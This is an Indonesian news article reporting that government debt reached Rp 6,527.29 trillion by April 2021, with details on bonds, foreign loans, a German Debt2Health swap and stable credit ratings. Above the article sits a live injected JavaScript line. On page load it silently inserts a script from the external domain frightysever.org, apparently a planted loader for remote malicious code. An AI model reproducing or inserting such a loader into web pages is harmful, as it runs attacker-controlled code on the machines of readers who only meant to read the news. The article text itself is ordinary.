(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bisnis

Melonjak 26%, Utang Pemerintah Tembus Rp 6.500 Triliun per April 2021

KANALKALIMANTAN.COM, JAKARTA– Kementerian Keuangan mencatat, posisi utang pemerintah per akhir April 2021 mencapai Rp 6.527,29 triliun, melonjak 26% atau Rp 1.355 triliun dibandingkan periode yang sama tahun lalu Rp 5.172,48 triliun.

Sementara itu, rasio utang pemerintah pun mencapai 41,18% terhadap Produk Domestik Bruto. “Peningkatan secara nominal disebabkan kondisi ekonomi Indonesia yang masih berada dalam fase pemulihan akibat perlambatan ekonomi di masa pandemi Covid-19,” demikian tertulis dalam buku APBN KiTa edisi Mei 2021 yang dirilis Jumat (28/5/2021).

Dilansir Katadata.co.id, berdasarkan buku APBN Kita, komposisi utang pemerintah per April 2021 masih didominasi surat berharga negara (SBN) dengan porsi 86,74% atau senilai Rp 5.661,54 triliun.

Secara perinci, SBN diterbitkan di dalam negeri Rp 4.932,96 triliun berupa surat utang negara (SUN) Rp 3.577,61 triliun dan surat berharga syariah negara (SBSN) Rp 815,35 triliun. Kemudian, terdapat pula SBN valas Rp 1.268,58 triliun yang meliputi SUN Rp 1.023,6 triliun dan SBSN Rp 244,98 triliun.

Selain SBN, utang pemerintah berbentuk pinjaman Rp 865,74 triliun. Realisasi tersebut terdiri dari pinjaman dalam negeri Rp 12,32 triliun dan luar negeri Rp 853,42 triliun. Pinjaman luar negeri berasal dari bilateral Rp 328,59 triliun, multilateral Rp 489,81 triliun, dan bank komersial Rp 44,02 triliun.

Pandemi Covid-19 yang mulai mewabah di Indonesia awal Maret tahun lalu menimbulkan efek domino yang cukup signifikan. Tak hanya di sektor kesehatan, tetapi juga melumpuhkan hampir seluruh sektor terutama perekonomian.

Untuk menghadapinya, pemerintah telah menentukan tiga prioritas utama, yaitu kesehatan, jaring pengaman sosial, dan dukungan dunia usaha, termasuk juga di dalamnya adalah program pemulihan ekonomi nasional (PEN) agar ekonomi Indonesia tak semakin terkontraksi.

Pemerintah juga telah menginstruksikan semua entitas untuk melakukan pengetatan, pergeseran, dan pemotongan anggaran untuk mendukung ketiga prioritas tersebut. Kendati demikian, kapasitas fiskal Indonesia masih belum cukup untuk menutupi kebutuhan yang semakin meningkat sehingga menambah porsi pembiayaan.

Selama tahun 2021 saja, realisasi pembiayaan utang per akhir April telah mencapai Rp 410,09 triliun. Pada bulan keempat tahun ini, terdapat satu pinjaman baru yang telah ditandatangani oleh pemerintah, yaitu pinjaman bilateral dengan Economic Development Cooperation Fund (EDCF) untuk kegiatan The Development and Improvement of Indonesian Aids to Navigation, dengan Direktorat Kenavigasian Kementerian Perhubungan yang bertindak sebagai executing agency.

Pinjaman tersebut akan dimanfaatkan untuk meningkatkan keselamatan navigasi di perairan melalui peningkatan keandalan dan teknologi pada delapan menara suar dan 95 rambu suar di 20 distrik navigasi di Indonesia.

Selain itu, pemerintah menandatangani perjanjian debt swap dengan Jerman melalui program The Debt2Health agreement yang bernilai € 50 juta dari utang Indonesia kepada Jerman. Adapun hasil dari program tersebut akan digunakan untuk mendukung perluasan respons tuberkulosis di Indonesia. Ini termasuk layanan dan pengobatan tuberkulosis yang resistan terhadap berbagai obat, identifikasi kasus berbasis komunitas, dan tindak lanjut pengobatan.

Meski utang meningkat di tengah Pandemi, lembaga pemeringkat internasional tetap mempertahankan peringkat utang Indonesia. Menteri Koordinator Bidang Maritim dan Investasi Luhut Binsar Pandjaitan menilai, hal tersebut mencerminkan kredibilitas Indonesia sebagai negara tujuan investasi. “Negara-negara luar itu masih melihat Indonesia sebagai negara kredibel untuk investasi,” ujar Luhut dalam Indonesia Investment Forum 2021, Kamis (27/5/2021).

Peringkat utang yang stabil disematkan lembaga internasional seperti Fitch, S&P, dan Moody’s. Padahal, menurut Luhut, ketiga lembaga tersebut menurunkan peringkat utang beberapa negara dunia, termasuk negara maju.

Moody’s menurunkan peringkat kredit 17 negara, antara lain Inggris dan Afrika. Fitch memangkas peringkat utang 26 negara, antara lain Italia dan Meksiko. Sementara S&P, memangkas peringkat 19 negara termasuk Meksiko. (katadata/Agatha Olivia Victoria)

Editor : cell